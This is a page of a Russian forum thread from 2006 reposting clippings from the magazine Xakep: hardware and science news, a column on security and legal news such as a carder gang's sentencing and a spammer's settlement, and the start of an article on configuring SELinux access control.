Здравствуйте, гость ( Вход | Регистрация )



Гостевой доступ к форуму из Москвы: Телефоны: +7(495)7859696,7376201,7376233,7868796,7390241 Login: demo Password: demo
5 страниц V < 1 2 3 4 > »   
ОтветитьСоздать новую тему
> Журнал Хакер, Отдельные вырезки
Tier
сообщение Nov 18 2006, 12:20
Сообщение #21


Активный пользователь
Group Icon

Группа: Advanced
Сообщений: 1 778
Регистрация: 23-October 06
Пользователь №: 630
Заходит на форум с полного инета.



кст очки с диспеями есть уже кое каие протатипные разработки.


--------------------
Изображение

Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 18 2006, 21:31
Сообщение #22


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



НовостиVerbatim представляет диски Mini DVD+R DL

Продолжают развиваться оптические диски. Растет скорость работы с ними и объемы информации, которые они могут в себя вместить. Компания Verbatim обещает нам диски Mini DVD+R DL, которые имеют 8 сантиметров в диаметре, а объем — 2,6 Гб (около часа видео). Бояться не стоит: они полностью отвечают стандарту DVD+R DL, который утвержден DVD+RW Alliance, и совместимы с любыми накопителями, поддерживающими этот формат. Чтобы твои гигабайты данных не повредились, на поверхность диска нанесен специальный защитный слой Scratch Guard, который, по словам производителя, делает диски в 40 раз более устойчивыми к повреждениям. Стоит добавить, что эти болванки появятся в продаже в начале лета, вместе с видеокамерами, которые могут с ними работать.

Универсальный проектор Epson

Новый проектор компании Epson представляет собой устройство для выполнения самых разных задач. Он создан на основе передовой 3LCD и обеспечивает качественное, яркое и четкое изображение. Проектор обладает яркостью в 1800 люмен, а его контрастность составляет 500:1. В проекторе EMP-S4 реализована слайд-крышка объектива и функция быстрого включения/выключения – подготовка к работе займет у него 4 секунды. Благодаря технологии E-TORL проектор может работать в хорошо освещенной комнате, не теряя качества картинки (диагональю 60 дюймов), которую он может создать с расстояния 1,8 м. Закрывая слайд-крышку, человек одновременно приостанавливает показ картинки и звучание музыки, что дает докладчику новые возможности при ведении конференций. Стоит добавить про уровень шума в 30 дБ и вес в 2,6 кг. Не забудь и про русифицированное меню.

И снова Walkman

Компания Sony вновь порадовала своих поклонников выпуском новых моделей плееров Walkman. Сегодня изменения коснулись линейки E: новые модели называются NW-E002, NW-E002F, NW-E003, NW-E003 и NW-E005. Их главная особенность – система быстрой зарядки, которая дает плееру возможность работать более суток, проигрывая музыку в форматах ATRAC3, WMA и MP3. Кстати, емкость новых плееров составляет от 512 Мб до 1 Гб, а в их комплект поставки входит ПО SonicStage для удобного управления музыкой и загрузки треков. Если вдруг тебе надоест загруженная музыка, то спасением станет встроенный радиотюнер. Корпус выполнен из поликарбоната и имеет шесть вариантов расцветки. Стоит добавить, что Sony планирует выпускать массу аксессуаров к данному устройству.

Pentium M влезает в десктопы

Очередную системную плату для настольного ПК, которая может работать с процессором Pentium M (Socket 479), нам представила компания AOpen. На этот раз это бюджетное решение. Устройство AOpen s661FXm-FSN имеет два слота DIMM для памяти DDR400 (до 2 Гб), порт AGP 8X, и три PCI, а также встроенный графический адаптер SiS 661 FX. На плате установлен и встроенный 6-канальный звуковой контроллер ALC655. Кроме того, новинка содержит 4 разъема UDMA, два коннектора SATA (поддерживается RAID 0 и 1). Кроме USB, есть возможность подключать FireWire-устройства. Завершает картину сетевой контроллер. Кстати, плата имеет форм-фактор MicroATX, поэтому, учитывая низкое тепловыделение ЦП Pentium M, на ней можно собрать небольшой, недорогой и тихий ПК.

Головной набор Logitech

Новая гарнитура компании Logitech называется PC Headset 120 и отлично подходит для звонков с компьютера на компьютер, голосового общения в сети, крика на товарищей по оружию в сетевых играх, а также, естественно, может работать и как обычные наушники. Гарнитура имеет удобное оголовье, так что, надев, ты тут же о ней и забудешь – никаких неудобств. Полоса пропускания самой гарнитуры — 20-20000 Гц, микрофона — 100—10000 кГц. Длина кабеля — 2 м. Если ты по-прежнему считаешь такое устройство излишним и ненужным, то знай, что популярность передачи голоса в сети постоянно растет. Например, программу Skype во всем мире скачали уже 250 миллионов человек.

ТВ по-новому

Компания Compro выпустила TV-тюнер, который совершенно не похож на большинство устройств такого плана. Во-первых, он не подключается к компьютеру – устанавливается на пути между системным блоком и монитором. Естественно, он отлично выполняет свою главную функцию, то есть показ телевизионных программ на мониторе твоего ПК. За качество картинки отвечает фирменный чип, который, кстати, поддерживает разрешение 1600х1200, разные соотношения сторон (4:3, 16:9 и 16:10), работает с разными типами мониторов и имеет разъем S-Video. Среди возможностей устройства присутствует и функция наложения изображения, то есть картинка в картинке: часть твоего рабочего стола может стать телевизором, а другая — остается свободной для пасьянса. Стоит добавить, что в комплект входит и пункт дистанционного управления. С таким устройством можно не только ТВ смотреть, но и друзей удивлять.

Хромированная VIA

Компания VIA выпустила новый чипсет со встроенным графическим ядром Chrome9, готовый к работе с будущей операционной системой Windows Vista. Новый чипсет поддерживает новейшие процессорами Intel Core Duo, память DDR2 667 и шину PCI Express. Встроенный GPU Chrome9 является DirectX 9-совместимым, поддерживает шейдеры версии 2.0, HDTV-форматы (с разрешением до 1920х1080) и фирменную технологию VIA Chromotion, которая позволяет улучшить качество изображения. Шина V-link сможет связать этот чипсет с любым южным мостом VIA, например, с VIA VT8251, обладающим встроенным кодеком VIA Vinyl (8 каналов, HD-звук, 32-бит/192 кГц). Так что у производителей появится возможность по созданию весьма разных и интересных системных плат на основе новинок от VIA. Итак, новый этап чипсетного противостояния nVidia и VIA открыт!

Системная плата на будущее

Хотя процессоры под сокет AMD M2 пока редкость, волна системных плат, которые их поддерживают, продолжает наступать. Сегодня и компания Foxconn заявила о том, что ее новинка – плата C51XEM2AA – может работать с AMD Socket AM2. Мать построена на чипсете NVIDIA nForce 590 SLI, который дает ей возможность работать с двухканальной памятью DDR2-800. Имеется 2 порта PCI-E x16, один — PCI-E x4, 1 PCI-E x1 и два обычных PCI. Кроме того, установлено 6 коннектеров интерфейса SATA 2, поддерживающего RAID. Также стоит отметить звуковой HDA-адаптер и два встроенных гигабитных сетевых контроллера. Энтузиасты наверняка оценят кнопки питания и сброса на плате, систему идентификации ошибок, состоящую из динамика и двух светоидов. Так что ждем новых процессоров!

Hi-tech news

Юрий Свидиненко «Lazarus» (kammerer_max@yahoo.com)

Робот-ящерица

Зачем нужен механический геккон? Сказать трудно, однако давай воспринимать факты такими, какие они есть. Марк Каткоски и его команда из Стэнфорда построили StickyBot — опытный образец робота-альпиниста, который карабкается по стенам за счет четырех «сухих» липких ног. StickyBot должен двигаться по вертикальным плоскостям за счет «сухого прилипания», причем управляемого. Гекконы используют нановолоски для путешествий по вертикальным препятствиям. Нанотрубки, которые с успехом их заменяют, ученые делают уже давно. Однако снабдить такими липкими ногами не то что человека, а робота пока не было и речи. Лапы у робота-геккона сделаны из синтетических щетинок - эластомеров, а не нанотрубок. Каждый из этих волосков «прикрепляется» к стене межмолекулярной силой, известной как сила ван дер Ваальса. StickyBot пока двигается очень медленно и срывается, но исследователи надеются, что роботы такого типа в будущем смогут служить в качестве планетарных роверов и/или спасательных ботов.

Механическая рука, читающая мысли

Помнишь детскую игру камень-ножницы-бумага? Так вот, теперь с роботами в нее играть нельзя: прочитав твои мысли, они уже знают, что ты выбросишь в следующий момент. Сделать это было непросто. Основа системы считывания мыслей - функциональный магниторезонансный сканер активности мозговой деятельности (fMRI) в реальном времени. Этот фантастический девайс соединен с довольно гибким механическим протезом руки. Ну, конечно, это покруче, чем управлять курсором мыши на экране с помощью мысли. Представь себе: по токам крови внутри сосудов головного мозга fMRI строит картину мозговой активности и, исходя из ряда шаблонных карт, приказывает руке принять соответствующее положения. Подумал сделать рукой о'кей - и вот механические пальцы сами сложились в знакомую загогулину. Удивительно, правда? Больше всего это изобретение пригодится инвалидам, для которых, собственно, и разрабатывалась система fMRI.

Дисплеи: от 2D к 3D

Может быть, что вскором времени в мобилах и не только в них появятся трехмерные дисплеи. Samsung SDI представила успешную разработку новой технологии, позволяющей воспроизводить объемные изображения на дисплеях практически любых устройств. Основа технологии хитрых корейцев - плоские панели с активной матрицей на органических LED'ах (active matrix organic light-emitting diode - AMOLED), что неудивительно, поскольку Samsung является лидером в области построения LED-дисплеев. Общественные организации представили в рамках анонса 4,3" AMOLED-дисплей, который обеспечивает наибольшую скорость работы и наилучшее разрешение объемного изображения по сравнению с уже существующими 3D-дисплеями. Но на достигнутом Samsung не останавливается. В настоящее время компания продолжает работу над технологией, чтобы сделать возможным ее использование не только в мобилах, но еще в ноутбуках и телевизорах. По прогнозам Samsung, в ближайшие лет десять большинство дисплеев будут поддерживать функции воспроизведения объемного изображения, а к 2010-му году спрос на 3D-дисплеи возрастет вдвое.

Элитный светодуш

Американская компания Interbath занимается системами для душа с приставкой Luxury уже, наверное, лет тридцать. И вот наконец-то решила выпустить светящийся электронный душ (Electronic Light Shower — ELS). Кроме электроники, душевая лейка (да простят мне такое грубое обращение!) оформлена настоящими кристаллами Swarovski. Если не смотреть на кристаллы, то ELS больше всего похож на лампу в операционной. Система действует так: по вашему выбору струйки воды либо непрерывно меняют цвета, либо освещают и омывают вас любимым цветом. Для выбора есть зеленый, желтый и голубой. А красного, увы, нет. Это связано с тем, что после частого применения красного душа будут шалить нервишки smile.gif Но для того, чтобы увидеть, как светится это чудо, нужно выключить свет в душевой кабине. Свет идет к воде по оптоволоконному кабелю из коробочки, где установлены галогенные лампы и крутящееся колесо с разноцветными линзами. Принцип простой, но почему-то никто не додумался его использовать именно в душе. В головке душа имеется 270 дырочек. И к каждому отверстию свет подведен отдельным волокном диаметром около 1 миллиметра. Стало быть, с одной стороны, к головке ELS подходит кабель со светом, а с другой — вода, по обычному вполне шлангу. «Лечите нервы в лучах воды», — советует Interbath.

Самый быстрый транзистор в мире

Кто на свете всех быстрее? Конечно, транзисторы, и не простые, а MOSFET, недавно построенные учеными из Гарварда. Скоростной транзистор состоит из германиево-кремниевого ядра и кремниевых нанострун. Как говорят эксперты, это самый совершенный полевой транзистор, который когда-либо был создан. Ge/Si нанострунный полевой FET в 3-4 раза быстрее, чем современные кремниевые CMOS. Также этот нанотранзистор может посоревноваться в области быстродействия с обычными плоскими полевыми FET'ами, а также с наиболее быстрыми транзисторами на основе нанотрубок, которые до настоящего момента были абсолютными рекордсменами. Скорее всего, в недалеком будущем микроэлектронной индустрии появится новый стандарт FET-устройств – нанострунный Ge/Si FET. Также новый нанотранзистор технологически совместим с логическими схемами на прозрачных и гибких основах – пластике, органических пленках и т.п.

Модельки из атомов

Моделирование наноструктур – задача сложная, требующая специального программного обеспечения и трудностей по составлению самой модели. Но несмотря на это, ученые продолжают разрабатывать и моделировать разные молекулярные запчасти. Так, недавно ученые из компании NanoREX смогли на программном комплексе nanoENGINEER-1 создать модель универсального шарнира, спроектированного Эриком Дрекслером и Ральфом Меркле еще в 1992-м году. Исследователям удалось показать динамику работы шарнира, и с помощью результатов моделирования было установлено, что оба шарнирных плеча могут изгибаться до 20° относительно друг друга. При этом части шарнира не имеют точек трения! Они изгибаются на химических связях, держащих две части механизма. По результатам исследований была составлена анимация работы шарнира, в котором он изгибается до 40°. Частота изгибаний шарнира - 100 Гц. Состоит девайс из 3846 атомов, его длина – 6,4 нанометров, ширина и высота – 3,8 нм. Эта модель – одна из попыток создать машину без трущихся частей вообще. Ученые теперь планируют смоделировать этот механизм в составе уже известного тебе молекулярного автомобиля для приведения в движение нескольких колес от центрального лопастного двигателя. Что же будет дальше, если автомобилям прицепят еще и небольшой компьютер?

Бактерия в киберпространстве

В одном из прошлых выпусков ты уже читал, как ученые впервые оцифровали вирус. Теперь они взялись за кишечную палочку - бактерию E.Coli. И хотят не только ее там смоделировать, но и создать ей «реальную» среду, в которой она сможет жить. Тогда станет возможным изучить не только биохимию палочки, но и оцифровать работу генов в реальном времени. «Вы только представьте себе, что можете сесть за компьютер и проводить над животным разные эксперименты, наблюдая, как и что работает, попутно выясняя, почему это произошло, а это — нет, — рассказывает канадский профессор Майкл Эллисон, биолог из университета Альберты. — Мы не сможем совершить революцию в биологии, пока не научимся моделировать живой организм».

Шансы на успех появились у ученых только в последние несколько лет, а когда удастся достичь результата — можно только гадать. И это притом, что ученые замахнулись всего лишь на скромного обитателя человеческого кишечника, который устроен довольно просто. Выбор в пользу E. coli, одной из любимейших учеными модели для биологических экспериментов, доктор Эллисон объясняет так: «Мы взяли самый простой организм, о котором знаем больше всего». И вот, с целью оцифровать бактерию в ноябре 2002-го года был сформирован Международный альянс (International E. coli Alliance — IECA). В эту организацию вошли канадцы из проекта Cybercell, японцы из Института передовых биологических наук (IAB), англичане из группы IBEC, американцы из консорциума E.coli, фармацевтическая компания GlaxoSmithKline и многие другие.

Альянс распределил задачи между лабораториями, и началась реализация проектов, в ходе которой ученые из разных стран объединяют свои усилия. «Но даже если бы мы смогли сегодня создать модель всей бактерии, это не означало бы, что мы смогли бы понять созданное, — добавляет Тьерри Эмонет из Чикагского университета. — Хитрость в том, что мы должны вести строительство шаг за шагом, проверяя и изучая явления по очереди». Так, глядишь, лет через 10 дойдут и до оцифровки тебя самого.

Первый робот-полиморф

Тебе, наверное, и так понятно, зачем нужен многофункциональный блочный робот. О них много писали и даже показывали прототипы. Но теперь можно со всей уверенностью сказать, что первый робот-полиморф создан. Это сказал адъюнкт-профессор Вэй Минь Шэнь из университета Южной Калифорнии (USC). Назвали машину довольно скромно - SuperBot. Бюджет «Супербота» составляет ни много ни мало $8 миллионов. И деньги эти, в основном, идут от NASA, потому как робот нацелен на освоение космоса. Задумывался SuperBot как модульный, многофункциональный и переконфигурируемый робот. В теории он может ползти, как змея или гусеница, превращаться в колесо, а также сформировать руку-манипулятор, стать ровером, машиной-альпинистом, чтоб спуститься в кратер, или даже быть мобильной платформой. Создать такого гибкого робота позволили автономные, интеллектуальные и самопереконфигурируемые модули, лежащие в основе всей системы. Отдельно взятый модуль, имеющий 2 электромоторчика и компьютерный чип, может самостоятельно передвигаться и переворачиваться. Соединиться друг с другом модули могут в четырех местах с различной ориентацией. На закуску разработчики намереваются продемонстрировать «летательные способности» единственного модуля в условиях микрогравитации.

Квантовые дисплеи - «старая» новинка

Как тебе известно, плоские и даже гибкие дисплеи – уже не новинка на мировом рынке электронной техники. Но современные LCD- и OLED-дисплеи не могут обеспечить достаточной яркости и контрастности. А те, которые могут, стоят довольно дорого. В связи с этим различные компании ведут поиски новых продуктов, способных при относительно низкой стоимости предложить потребителю гибкий дисплей с высокой контрастностью и быстродействием. И при этом была «реанимирована» технология дисплеев на квантовых точках. Квантовые точки — это специальные нанокристаллы, ведущие себя как один отдельный атом. Первый прототип-дисплей от американской компании QD Vision's — всего лишь монохромная полоска размерами 32х64 пикселя. Но, несмотря на малые размеры прототипа, Ко-Салливан, представитель компании, уверяет, что через несколько месяцев будет сконструирован прототип «квантового дисплея», не уступающий по разрешению современным НDTV. Кроме высокой яркости и контрастности (изображение на дисплее можно видеть даже при ярком солнечном свете), устройство будет потреблять меньше энергии, чем современные аналогичные LCD телевизоры. Также новый дисплей можно изгибать практически в любом направлении. Также дисплей на квантовых точках может покрывать гораздо больше цветов из видимой области спектра, чем любой OLED или LCD. Как говорит Салливан, количество цветов, отображаемых QD-LED дисплеем может быть на 30% больше, чем в современных CRT-дисплеях. Снижение энергопотребления достигается за счет того, что нерабочие пиксели не потребляют энергии, в то время как в LCD-дисплеях задняя подсветка работает все время, несмотря на то, сколько пикселей в настоящее время заблокированы. Для производства одного фотона в QD-LED тратится всего 50 электронов, что немного для светоизлучающего устройства. Поэтому дисплеям на квантовых точках также не потребуется задней подсветки, без которой LCD-дисплей невозможно сконструировать.

Часики для яхтсменов

Наручные часы... Казалось бы, вещь простая и доступная. Но при желании даже из наручных часов можно сделать такой девайс, что даже непонятно, зачем он такой нужен. Так, двое мировых светил в области часового мастерства Жан-Францис Рюшонне и Вианни Хальтер, скооперировавшись, сделали непростые наручные часы. Этот девайс, внешне смахивающий на кассовый аппарат, выпущен ограниченным тиражом - всего-то 135 штук. И цена у них соответствующая — от $220 тысяч. Назвали детище Cabestan — лебедка с барабаном, насаженным на вертикальный вал, для подтягивания речных судов у причалов, выбирания судовых якорей и тому подобного. И правда, часы внешне напоминают две лебедки, соединенные между собой рядом передач. Рюшонне говорит, что при создании Cabestan вдохновлялся морской тематикой. Отсюда и якорная цепь на лебедке и некоторое сходство хронометра с навигационным прибором. Часики действительно морские - в них можно даже нырять под воду до 30 метров. Но и это не последнее слово mad-часовщиков. Жан-Францис задумал трилогию: концепт Monaco V4 воплощал собой землю и автомобиль, «Кабестан» — море и корабли, а третий хронометр, находящийся в разработке, будет посвящен воздуху и авиации.

][News_Jul2k6

mindw0rk@gameland.ru

[Microsoft делится секретами с хакерами]

Можешь ли ты представить ситуацию, когда дяди из Microsoft сами приходит к хакерам и рассказывают о тонкостях защиты винды? Мне как-то слабо представляется. А вот сами дяди из Microsoft ничего зазорного в этом не видят, поэтому решили принять участие в хакерской конференции Black Hat, которая состоится уже скоро. Причем не просто поучаствовать, а прочитать несколько докладов о методах защиты грядущей Висты, разных функциональных особенностях и тому подобных вещах. Всего за один день спецы из Microsoft планируют сделать 5 презентаций, одна другой откровеннее. Так что злохакеры, попавшие на Black Hat, смогут узнать о защитных механизмах новой ОС задолго до ее выхода и заранее разработать свои злотехники взлома. «Каков мотив столь странного поведения?» - спросишь ты. По словам представителей Microsoft, такой шаг вызван политикой компании, которую можно изложить в двух словах: «Наша система безопаснее всех!». И реальную степень этой самой безопасности они предлагают определить независимым специалистам, то есть хакерам.

[Три года за карикатуру Христа]

Веб-блоги за последние несколько лет стали не просто одним из интернет-комьюнити, а настоящей сетевой болезнью, которой заражены миллионы людей. Каждый теперь считает себя просто обязанным поделиться своими мыслями и наблюдениями с остальными, причем мысли эти могут быть о чем угодно. Но если в нашей стране каждый может в своих дневниках безнаказанно обсирать правительство или, к примеру, звезд эстрад, то жителям Сингапура теперь приходится следить за своим языком. Недавно там арестовали автора одного из блогов, который выложил у себя карикатуру Иисуса Христа в виде зомби и подписал: «Почему мой Мессия пытается съесть мой мозг? На третий день Иисус восстал из могилы». Соцнадзор шутку не оценил и сначала попросил убрать провокацию по-хорошему, а когда сингапурский графоман не повиновался, выслали ему повестку в суд. Причем штрафом за хулиганство чувак может и не отделаться – максимальное наказание составит 3 года тюрьмы. Это, кстати, не первый подобный случай: в прошлом году в этой стране посадили за решетку двух китайцев, сетевые писульки которых разгневали сингапурских мусульман. Причем так, что азиаты сидят и по сей день. Интересно, что бы подумала сингапурская полиция нравов про авторов кружка «Веселый богохульник»: http://community.livejournal.com/ru_blasphemy

[Под колпаком у АНБ]

Не секрет, что Агентство национальной безопасности США владеет большой базой данных по американским жителям и не только. Телефоны, адреса, номера социального страхования, судимости и даже особые приметы. Но АНБ этого показалось мало, и парни решили расширить свою сокровищницу. А как это лучше всего сделать? Правильно, обратиться к интернету. Ведь народ в сети на каждом углу оставляет о себе разные полезные сведения. Чего стоят только сайты знакомств и веб-блоги. Конечно, если вручную фильтровать все это добро – никакого здоровья не хватит, поэтому сейчас Агентство занимается разработкой технологии быстрого сбора данных по заданным критериям. Мораль сей басни такова: смотри, что пишешь, — Большой Брат не дремлет.

[Кардерский приговор]

В кардерском мире есть люди, которые воруют помаленьку, и не привлекают к себе особого внимания, а есть такие, что гребут лопатами, и рано или поздно оказываются в коморке 3x3. Именно ко второй категории относится банда одессита Артура Ляшенко, которая почти три года терроризировала бедных буржуев. Основной их деятельностью было производство и сбыт фальшивых кредиток, а добыванием инфы о номерах реальных счетов занимались отдельные люди. Любой желающий мог купить у них карточку с минимальным количеством денег за 100-150$, клиенты посерьезнее брали кредитки с многозначными суммами за 40-50%. У кардеров даже был свой сайт, откуда они сбывали основную часть поддельных кред. К поимке Ляшенко и Co. подключились как МВД, так и спецслужбы (Интерпол, ФБР), ведь ущерб от их работы оценивался уже в районе 90 миллионов долларов. Как их поймали – тема отдельной статьи. Скажу только, что при задержании банды на их штаб-квартире нашли более 80-ти тысяч карт на миллионы баксов. На днях московский суд вынес парням приговор: главаря Ляшенко приговорили к 6-ти годам общего режима, а остальным членов группы – от 5 лет условно до 5 лет за решеткой.

[Операция Мозар]

В прошлом месяце в Великобритании прошла антитеррористическая операция Мозар, в результате которой были арестованы 30 человек. Началось все с того, что британские спецслужбы установили электронное наблюдение за несколькими людьми, подозревавшимися в связях с террористами. Полиция перехватила сетевую переписку и блокировала каналы, по которым она шла. Из полученной инфы стало ясно, что чуваки задумали недоброе, а именно: взорвать здание парламента в Оттаве. Всплывшее имя Абу Мусаба аль-Заркави, лидера подпольной террористической группы в Ираке, стало тому подтверждением. Спецслужбы арестовали сначала 17 человек, участвовавших в переписке, а через них вышли на остальных. Большинство задержанных оказались людьми, завербованными террористами через интернет. Бородатые слуги Аллаха уже давно используют передовые технологии для пополнения своей армии. Так что если тебе в мыло попадет письмо от какого-нибудь Моххамеда бин Ладена, то лучше его сразу удали - от греха подальше
[La Martiniere против Google]

Google продолжает трудиться на благо народа, но при этом все равно находятся злые люди, которые не ценят усилий компании. Мало того, подают на любимца народа в суд. Как, например, La Martiniere – французское издательство, обвинившее Google в нарушении авторских прав. Как ты уже, наверное, знаешь, одно из отделений поисковой компании занимается оцифровкой книг нескольких крупнейших библиотек мира. Но по закону это можно делать только с разрешения издательств, а Google не спрашивает разрешения. До недавнего времени проект книжной оцифровки вызывал лишь критику у таких организаций, как Association of American University Presses, но теперь Гуглу так просто не отделаться. Компания делает упор на старые оцифрованные книги (авторов уже давно нет в живых, да и не ради прибыли это делается, а чтобы сохранить знания потомкам). Но посмотрим, что скажет суд.

[Microsoft перевоспитала спамера]

«Теперь могу сказать наверняка: я прозрел! Понял, что спам — это зло, и с ним нужно бороться. А ведь еще недавно я относился к нему, как к игре в кошки-мышки. Но общение с господином прокурором, товарищем следователем и мистером судьей показали мне всю неправоту моих прежних мыслей. Да, друзья мои, я записался в добровольцы антиспамерского движения. Скажем решительное «НЕТ» спаму! Смерть спамерскому захватчику!» - текст примерно такого содержания опубликовал недавно в своем веб-блоге 24-летний техасец Райан Питиляк, по мнению экспертов, один из 5 самых активных спамеров мира. На пике своей карьеры Райан рассылал до 25 миллионов писем в день! Что же послужило причиной озарения? Все просто, война Microsoft против спама привела к аресту этого молодого человека, и, чтобы избежать долгих лет за решеткой, Питиляк подписал с компанией мирное соглашение, стоившее ему миллион баксов. Но это не уберегло его от общения с доблестной полицией штата, а там таких прохиндеев, что и говорить, не любят. Теперь бывший спамер считает себя «антиспамером-активистом» и обещает приложить все усилие в борьбе с такими, как некогда он был сам.

[Китай под флагом Linux]

В конце 2005-го года китайское правительство объявило, что планирует сократить на четверть закупаемый софт от Microsoft. В июне этого года китайцы подошли к вопросу кардинально. Страна восходящего солнца решила полностью отказаться от услуг дяди Билла, и все китайские компьютеры оснастить ОС Linux. По крайней мере, те, которые стоят в правительственных и госучреждениях. «Этя глябальная тиндесия. Линукся дешевый, степень ево адаптасии тожи высокий, однако», - прокомментировал решение верхов Майк Лин, консультант компании Taipei Computer Association. А Майкрософт осталось только развести руками: «Покупатели вольны сами выбирать, что им нужно». Тем не менее, с правительством Китая согласны далеко не все. Например, крупнейший производитель ПК в этой стране, компания Lenovo, планирует и дальше сотрудничать с Microsoft, устанавливая винду на все выпущенные компьютеры. Эксперты предрекают, что, если Lenovo будет гнуть свою линию, ее конкуренты Dell и HP отберут часть рынка, а значит, лишат компанию прибыли. К тому же неизвестно, как к этому отнесется президент Китая вместе с министрами, – представители этого народа известны своими кардинальными мерами к «смутьянам правильного режима». Кстати, на русских секурити-форумах наши спецы вовсю поддерживают китайцев и выражают сожаление, что такого поворота пока не произошло в России.

[Доменный беспредел]

Сложная ситуация возникла вокруг российского хостинг-провайдера Majordomo и крупнейшего американского регистратора доменов GoDaddy. В середине июня годэдди блокировала домены клиентов мажордомо, мотивируя это жалобами на спам с этих адресов. Автором недовольства была компания Spamhouse, занимающаяся ведением черного списка спамерских адресов. Получив письмо от спамхауза, деддики долго разбираться не стали, а просто отключили домены. Majordomo это, конечно, не понравилось, тем более что никаких доказательств рассылки спама от них нет. Имена «плохих» клиентов, которые назвал регистратор, по словам хостера, к нему отношения не имеют – один еще в прошлом году прервал сотрудничество, другой – вообще является сторонней компанией. Получается, что GoDaddy, не проверив инфу, ввела такие кардинальные меры. Итогом переписки между двумя организациями стало предложение от регистратора заплатить по $199 за восстановление каждого отключенного домена или по $55 за переход к другому регистратору. Конечно, Majordomo может подать в суд, но есть мнение, что от этого не выиграет никто: GoDaddy – буржуйская контора и является чем-то вроде Майкрософта в своем деле. Чем все закончится, не известно, а пока блокированные домены имеют длинную приставку: SUSPENDED-FOR.SPAM-AND-ABUSE.COM.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 19 2006, 11:52
Сообщение #23


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Тотальный контроль над пингвиномSELinux: максимальная защита

Сегодня мы поговорим о SELinux - одной из самых популярных систем управления доступом. Помимо SELinux существуют еще GrSecurity и LIDS, но самой строгой из них является именно SELinux. Благодаря правильной настройке эта система ни разу не была взломана. Так как объем публикации не позволяет полностью описать SELinux, мы остановимся только на основных понятиях и концепциях этой системы. Большая часть статьи будет уделена практической настройке, а, если ты что-то недопонял из теории, во врезке ты найдешь список дополнительных ресурсов.

Зачем это надо?

Linux при правильной настройке считается одной из самых защищенных операционных систем мира. Так зачем нужна дополнительная система управления доступом? Неужели не хватает возможностей самой Linux? Да, не хватает. В Linux есть два типа пользователей: обычный пользователь и администратор (root). Права обычных пользователей можно ограничить и с помощью штатных средств Linux. Но что находится во власти администратора, ты и сам знаешь. Если злоумышленник завладеет паролем администратора (как он это сделает - это уже другой вопрос), то он получит полную власть над системой. Но если на компьютере установлена система управления доступом, то она не позволит ему сделать ничего криминального. Злоумышленник просто не сможет причинить ощутимый вред скомпрометированному хосту. Система управления доступом может ограничить даже действия самого пользователя root, если таковые действия могут стать причиной некорректной работы системы (например, угрожать целостности данных, работе самой системы и т.д.).

Вернемся к обычным пользователям. Здесь можно задавать ограничение на доступ к определенным файлам и на использование системных ресурсов - дискового пространства (квоты), процессорного времени, устанавливать максимальное число процессов — и все. Система управления доступом может запретить пользователю выполнять те действия, которые он не должен выполнять. Во многих случаях даже обычным пользователям часто предоставляются чрезмерные полномочия. Например, зачем пользователю, который зарегистрировался в системе только для чтения почты, предоставлять возможность компиляции исходного кода или запуска фоновых демонов? Теперь все становится на свои места: мы понимаем, что без SELinux в настоящей многопользовательской системе не обойтись. Справедливости ради стоит отметить, что описанные выше фичи также можно организовать, используя GrSecurity или LIDS.

Кроме всего прочего, SELinux контролирует и права доступа к файлам. Например, система проверила права доступа файла и разрешила к нему доступ. Но потом принимается за работу SELinux. Если в настройках SELinux указано, что данный пользователь (или процесс) не имеет доступа к файлу, тогда уже SELinux запрещает к нему доступ. И в самом деле, зачем Web-серверу обращаться к каталогу /etc/selinux? Если же система запретила доступ к файлу (это первый этап - проверка прав доступа), тогда SELinux не задействуется.

Как устанавливать SELinux?

Давай упростим друг другу жизнь и не будем рассматривать установку этой системы на «голый» Linux. SELinux входит в состав Fedora Core (кстати, FC стал первым дистрибутивом, в состав которого была включена SELinux) и дистрибутивов, основанных на нем. Настройку SELinux будем рассматривать на примере ASP Linux 11 - самого свежего SELinux-дистрибутива, который имеется под рукой.

Перейди в каталог /etc/selinux. Здесь ты найдешь файл config, управляющий настройками самой SELinux, а также каталог targeted, в котором будут находиться конфигурационные файлы политики targeted. В нем будут три подкаталога: contexts, policy, users (контексты, политика, пользователи), а также файл booleans, в котором установлены некоторые булевые (логические) параметры. Вообще, этот файл руками трогать не нужно - посмотрели и забыли. Во всяком случае, на данном этапе. Итак, что же находится в каталогах contexts, policy и users? Чтобы получить ответ на этот вопрос, нужно обратиться к скучной теории.

Скучная теория

Начнем с базового понятия - понятия сущности. Сущность (identity) формирует часть контекста безопасности, задающего домены, в которые можно войти. То есть сущность определяет, что можно сделать. Не нужно путать сущность с идентификатором пользователя (UID). Они параллельно существуют в системе, но их смысл абсолютно разный. Обычно сущность представляется в системе так же, как и имя пользователя. Если в системе есть пользователь den и есть сущность den, выполнение команды su не изменяет сущности SELinux. Предположим, у нас есть пользователь den. Зарегистрируемся под ним и выполним команду id (это команда SELinux). Вывод:

context=den:user_r:user_t

Теперь введем команду su, наберем пароль root и снова введем команду id:

context=den:user_r:user_t

Мы получили тот же самый вывод. Как видишь, контекст остался прежним и не изменился на контекст пользователя root. Правда, есть одно «но». Если сущности den разрешен доступ к роли sysadm_r (сейчас роль — user_r) и пользователь выполнит команду «newrole -r sysadm_r» (изменить свою роль), а потом снова наберет id, то получит вывод:

context=den:sysadm_r:sysadm_t

Сущность осталось такой же, но роль и домен (второе и третье поле) изменились. Сущность определяет, какие роли и домены могут быть использованы.

Домен (domain) предоставляет список операций, которые может выполнить процесс по разным типам, точно определяет его привилегии. Примеры доменов: sysadm_t - домен администратора системы, user_t - домен для непривилегированных пользователей. Процесс init выполняется в домене init_t, а named - в named_t.

